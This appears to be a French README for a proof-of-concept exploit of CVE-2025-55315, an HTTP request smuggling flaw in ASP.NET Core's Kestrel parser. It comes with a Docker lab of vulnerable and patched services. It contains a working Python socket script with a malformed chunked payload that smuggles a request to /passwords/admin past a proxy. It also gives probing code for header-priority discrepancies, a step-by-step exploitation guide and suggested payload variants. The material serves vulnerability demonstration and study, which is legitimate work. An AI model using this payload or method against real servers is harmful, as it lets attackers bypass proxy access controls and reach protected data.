
Exploit de preuve de concept pour CVE-2025-55315 (HTTP Request Smuggling .NET). Démontre comment un encodage chunked mal analysé permet aux attaquants de faire passer clandestinement des requêtes à travers les proxys et les équilibreurs de charge des serveurs ASP.NET Core/Kestrel vulnérables.
Exploit de preuve de concept pour CVE-2025-55315 (contrebande de requêtes HTTP .NET). Il démontre comment un encodage chunked mal interprété permet aux attaquants de faire passer en contrebande des requêtes au-delà des proxys et des équilibreurs de charge dans les serveurs ASP.NET Core/Kestrel vulnérables.
Voir la présentation Prezi interactive
🎥 Cliquez sur le badge ci-dessus pour voir la présentation interactive complète sur Prezi
Dockerfile.vulnerable - Utilise .NET 10.0.100-rc.1 (vulnérable à CVE-2025-55315)Dockerfile.patched - Utilise .NET 10.0.100 (version corrigée)Remarque : la vulnérabilité se trouve dans l'analyseur HTTP du runtime .NET (Kestrel), pas dans le code applicatif. Les deux versions utilisent un code source identique, mais des versions différentes du runtime .NET.
# Build and run all services
docker-compose up --build
# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028
Consultez DOCKER.md pour des instructions détaillées sur l'utilisation de Docker.
Le proxy Python démontre CVE-2025-55315 en privilégiant Content-Length sur Transfer-Encoding, ce qui permet la contrebande de requêtes HTTP :
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"2;\n"
"xx\r\n"
"39\r\n"
"0\r\n"
"\r\n"
"GET /passwords/admin HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"\r\n"
"0\r\n"
"\r\n"
)
import socket
import time
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5027))
s.sendall(payload.encode())
# Read all available data
s.settimeout(2.0)
responses = b''
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
responses += chunk
except socket.timeout:
pass
print("=== Complete Response ===")
print(responses.decode('utf-8', errors='ignore'))
print("\n=== Checking for smuggled request response ===")
if b'/passwords/admin' in responses or b'admin' in responses:
print("✓ Successfully smuggled request to /passwords/admin!")
else:
print("✗ Exploit failed or blocked")
Cette charge utile fait passer en contrebande une seconde requête vers /passwords/admin au-delà de la vérification de sécurité du proxy, en exploitant la divergence entre la façon dont le proxy et le serveur backend interprètent la requête.
Voici comment le proxy et le serveur backend interprètent différemment la même charge utile :
Principales différences :
Explication détaillée :
2;\n comme déclaration valide de taille de chunk (2 octets) → lit xx comme corps du chunk de 2 octets → passe au chunk suivant (39)\n comme fin de ligne → la taille du chunk reste 2, mais l'en-tête s'étend jusqu'à 2;\nxx\r\n → lit 39 comme partie du corps du chunk → 0\r\n termine le chunkGET /passwords/admin introduite en contrebande est cachée dans ce que le backend considère comme des données de chunk, mais elle est analysée comme une requête distincte une fois le traitement du chunk terminéLa requête GET /passwords/admin introduite en contrebande est cachée dans ce que le proxy pense être des données de corps de chunk, mais le backend l'interprète comme une requête HTTP distincte.
Avant d'exploiter, vous devez identifier quel en-tête HTTP (Content-Length ou Transfer-Encoding) les différents composants privilégient. Voici un guide pas à pas :
Envoyez une requête avec les deux en-têtes Content-Length et Transfer-Encoding: chunked pour voir lequel chaque composant respecte :
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
Analyse :
Content-LengthTransfer-EncodingTestez tous les composants de votre architecture pour trouver des divergences :
# Using Python
import socket
test_payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5001\r\n"
"Transfer-Encoding: chunked\r\n"
"Content-Length: 2\r\n"
"\r\n"
"6\r\n"
"Fabian\r\n"
"0\r\n"
"\r\n"
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 5001))
s.sendall(test_payload.encode())
s.settimeout(1.0)
try:
response = s.recv(4096)
print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
except socket.timeout:
pass
# Change port to 5002 and test
# Safe API should handle the conflict properly
# Change port to 5027
# Python proxy favors Content-Length (vulnerable)
# Change port to 5028
# Test how YARP handles the header conflict
/passwordsTransfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n
Une fois que vous avez identifié :
Content-Length (ne lit que N octets)Transfer-Encoding (lit le corps chunked)Vous pouvez faire passer en contrebande une seconde requête que le proxy ne voit jamais mais que le backend traite.
Exécutez la charge utile complète de l'exploit (voir la section "Démonstration de l'exploit" ci-dessus) et confirmez :
socket : contrôle de bas niveau pour un formatage HTTP précis--data-binary : tests rapides en ligne de commandeL'exploit peut être conçu de plusieurs façons. Expérimentez différentes approches :
# Add Content-Length to make the desync explicit
payload = (
"POST /passwords HTTP/1.1\r\n"
"Host: localhost:5027\r\n"
"Content-Length: 75\r\n"
"Transfer-Encoding: chunked\r\n"
# ... rest of payload
)
\n comme fin de ligne valide → traite 2;\n comme taille de chunk → lit 2 octets (xx)\n → l'en-tête de chunk s'étend jusqu'à 2;\nxx\r\n → 39 devient le corps du chunk → 0\r\n termine le chunkEssayez différents scénarios de désynchronisation en modifiant PythonProxy/proxy_server.py :
\n vs \r\n)Expérimentez avec :
|
INTERPRÉTATION DU PROXY (accepte |
INTERPRÉTATION DU BACKEND (rejette |
| Composant | Taille du chunk 2;\n | Octets lus | Ce qui se passe |
|---|
| Proxy | ✅ Taille de chunk valide | 2 octets (xx) | Traite 2;\n comme un en-tête de chunk complet, lit 2 octets, passe au chunk suivant |
| Backend | ❌ Fin de ligne invalide | Lit toujours un chunk de 2 octets | L'en-tête de chunk ne se termine pas avant xx\r\n, donc 39 devient le corps du chunk, 0 termine le chunk |